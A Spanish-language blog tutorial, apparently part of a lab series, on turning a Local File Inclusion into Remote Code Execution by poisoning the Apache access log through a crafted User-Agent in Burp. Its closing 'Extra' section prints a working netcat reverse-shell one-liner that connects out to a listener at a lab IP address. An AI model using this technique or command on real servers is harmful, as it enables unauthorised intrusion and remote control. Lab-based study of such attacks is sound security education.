Hoy vamos a completar la última entrada que vimos sobre como montar un "laboratorio" para explotar un LFI. Antes de nada, te recomiendo que si no has leído la entrada que te comento, lo hagas, ya que si no, va a ser difícil que entiendas lo que vamos a ver a continuación.
Si quieres saber como convertir un LFI en un REC, quédate y dale a leer más.
Vamos a partir comentando que es un RCE, para ponernos en antecedentes.
REC o Remote Code Execution, es una vulnerabiliad grave, ya que se trata de ejecutar comandos de manera remota en el aplicativo (servidor). Normalmente viene dado por un mal uso de la función de PHP (obviamente hay en otros lenguajes) system() o exec(). Veamos un ejemplo básico:

Vale, con esto, desde la URL del navegador podríamos hacer lo siguiente:

Esto en sí, ya es ejecución de comandos, pero lo que quiero es que veamos como desde el ejemplo de la entrada anterior podemos pasar de un LFI a un RCE a través de un log poisoning.
Recordemos que en el lab de la última entrada, teníamos acceso a ficheros (como el passwd) del servidor.

Bien, pues lo que vamos a hacer en este lab, es "envenenar" un log, para ver los resultados de la ejecución de comandos en el server.
Lo primero, es ver si tenemos acceso a leer el log de, por ejemplo, apache, ubicado en /var/log/apache2/access.log. Obviamente, para poder leer ese fichero, hay que saber que los permisos, si están bien puestos, no nos dejarían leerlo.
Por lo tanto, para este lab, vamos a contar, con que los permisos están también mal configurados y que podemos leerlo.

Bien, ya tenemos acceso al fichero access.log, pero como se puede apreciar, es un poco locura leerlo así. Para verlo mejor, podemos dar Ctrl + U en el navegador y nos aparece ordenado.

Esto ya es otra cosa. Momento para iniciar Burp y parar la petición para poder modificar el User-Agent y realizar la ejecución de código.


Ahora solo tenemos que hacer la petición de nuevo agregando al final de la misma &cmd=id.

Pues ya tenemos ejecución de comandos en el servidor. Hemos pasado de un simple FLI a poder ejecutar comandos en el sistema.
Extra:
Ya que estoy en el asunto, vamos a conseguir una reverse shell con el mismo método. En Burp metemos en el user agent lo mismo de antes, y en la URL (codificado como URL encode) metemos la shell de NC:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.204.172 6666 >/tmp/f
Al darle a intro la web se queda "pensando" y si vamos a la pestaña del NC a la escucha, vemos que ya tenemos la shell.

Lo siguiente sería escalar privilegios a root, pero como estamos en nuestra Kali, no tiene mucho sentido. No obstante, hay alguna entrada de las máquinas de VulnHub, en las que está explicado.
Por cierto que esto mismo se podría hacer con el log de SSH, por ejemplo (siempre que tengamos permisos para leerlo).
Si queréis leer más sobre RCE y como mitigarlo, aquí os dejo una web que habla sobre ello.
Nos vemos en la siguiente.
0 comentarios:
Publicar un comentario